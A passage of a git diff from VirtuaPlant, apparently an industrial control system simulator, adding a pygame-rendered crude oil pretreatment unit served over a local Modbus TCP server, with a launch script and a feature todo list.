+ if PLCGetTag(PLC_WASTE_VALVE) == 1:
+ space.add_collision_handler(waste_valve_collision, ball_collision, begin=waste_valve_open)
+ else:
+ space.add_collision_handler(waste_valve_collision, ball_collision, begin=waste_valve_closed)
+
+
+ ticks_to_next_ball -= 1
+
+ if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1:
+ ticks_to_next_ball = 1
+ ball_shape = add_ball(space)
+ balls.append(ball_shape)
+
+ balls_to_remove = []
+ for ball in balls:
+ if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150:
+ balls_to_remove.append(ball)
+
+ draw_ball(bg, ball)
+
+ for ball in balls_to_remove:
+ space.remove(ball, ball.body)
+ balls.remove(ball)
+
+ draw_polygon(bg, pump)
+ draw_lines(bg, lines)
+ draw_ball(bg, tank_level, THECOLORS['black'])
+ draw_line(bg, sep_valve_obj)
+ draw_line(bg, outlet)
+ draw_line(bg, waste_valve_obj)
+ draw_line(bg, oil_spill, THECOLORS['red'])
+ draw_line(bg, oil_process, THECOLORS['red'])
+
+ #draw_ball(screen, separator_feed, THECOLORS['red'])
+ title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue'])
+ name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20'])
+ instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray'])
+ feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue'])
+ oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue'])
+ separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue'])
+ waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue'])
+ tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue'])
+ separator_release = fontSmall.render(str("Separator Vessel Valve"), 1, THECOLORS['blue'])
+ waste_sensor = fontSmall.render(str("Waste Water Valve"), 1, THECOLORS['blue'])
+ outlet_sensor = fontSmall.render(str("Outlet Valve"), 1, THECOLORS['blue'])
+
+ bg.blit(title, (300, 40))
+ bg.blit(name, (347, 10))
+ bg.blit(instructions, (SCREEN_WIDTH-115, 0))
+ bg.blit(feed_pump_label, (80, 0))
+ bg.blit(oil_storage_label, (125, 100))
+ bg.blit(separator_label, (385,275))
+ screen.blit(waste_water_label, (265, 490))
+ bg.blit(tank_sensor, (125, 50))
+ bg.blit(outlet_sensor, (90, 195))
+ bg.blit(separator_release, (350, 375))
+ bg.blit(waste_sensor, (90, 375))
+ screen.blit(bg, (0, 0))
+
+ space.step(1/FPS)
+ pygame.display.flip()
+
+ if reactor.running:
+ reactor.callFromThread(reactor.stop)
+
+store = ModbusSlaveContext(
+ di = ModbusSequentialDataBlock(0, [0]*100),
+ co = ModbusSequentialDataBlock(0, [0]*100),
+ hr = ModbusSequentialDataBlock(0, [0]*100),
+ ir = ModbusSequentialDataBlock(0, [0]*100))
+
+context = ModbusServerContext(slaves=store, single=True)
+
+# Modbus PLC server information
+identity = ModbusDeviceIdentification()
+identity.VendorName = 'Simmons Oil Refining Platform'
+identity.ProductCode = 'SORP'
+identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html'
+identity.ProductName = 'SORP 3850'
+identity.ModelName = 'Simmons ORP 3850'
+identity.MajorMinorRevision = '2.09.01'
+
+def startModbusServer():
+ # Run a modbus server on specified address and modbus port (5020)
+ StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT))
+
+def main():
+ reactor.callInThread(run_world)
+ startModbusServer()
+
+if __name__ == '__main__':
+ sys.exit(main())
diff --git a/plants/oil-refinery/start.sh b/plants/oil-refinery/start.sh
new file mode 100755
index 0000000..125e37c
--- /dev/null
+++ b/plants/oil-refinery/start.sh
@@ -0,0 +1,7 @@
+#!/bin/sh
+
+echo "VirtuaPlant -- Bottle-filling Factory"
+echo "- Starting World View"
+./oil_world.py -t localhost &
+echo "- Starting HMI"
+./oil_hmi.py -t localhost &
diff --git a/plants/oil-refinery/todo.txt b/plants/oil-refinery/todo.txt
new file mode 100644
index 0000000..e29d969
--- /dev/null
+++ b/plants/oil-refinery/todo.txt
@@ -0,0 +1,14 @@
+TODO list
+- Add more mini-game aspect to it
+ - Show amount of oil successfully processed,
+ - Show amount of oil lost due to overflow
+ - Show amount of oil successfully shipped
+ - Show oil shipments missed due to lack of oil processed
+
+- Make it prettier/more graphical
+- Add background image
+
+- Oil Spilled/Processed
+ - Add sensors in processing pipes
+ - Add sensor at bottom of world/above level sensor
+
\ No newline at end of file